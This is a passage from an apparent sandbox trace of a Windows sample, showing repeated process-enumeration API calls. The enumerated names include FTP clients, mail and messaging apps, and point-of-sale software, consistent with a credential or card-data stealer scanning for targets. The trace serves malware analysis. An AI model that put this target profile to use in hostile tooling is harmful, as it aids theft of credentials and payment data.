[0266.408] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0266.410] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0266.413] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0266.415] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0266.419] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0266.422] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0266.424] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0266.427] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0266.429] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0266.461] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0266.463] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0266.465] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0266.468] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0266.470] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0266.472] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0266.474] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0266.476] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0266.479] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0266.481] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0266.483] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0266.488] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0266.490] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0266.492] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0266.494] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0266.497] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0266.499] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0266.501] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0266.503] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0266.505] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0266.508] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0266.510] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0266.512] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0266.514] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0266.516] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0266.518] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0266.521] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0266.523] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0266.525] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0266.527] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0266.529] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0266.531] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0266.533] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0266.535] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0266.536] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0266.538] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0266.540] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0266.542] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0266.544] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0266.546] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0266.548] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0266.550] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0266.552] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0266.554] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0266.556] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0266.557] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0266.559] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0266.561] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0266.563] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0266.566] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0266.605] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.607] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0266.609] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0266.610] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0266.612] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0266.614] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0266.616] CloseHandle (hObject=0x2200) returned 1 [0266.616] Sleep (dwMilliseconds=0x64) [0266.626] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0266.640] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.642] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.643] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.645] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.647] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.648] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.650] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.651] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.653] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.654] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.656] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.658] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.659] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.661] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.663] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.664] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.666] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.667] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.669] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, 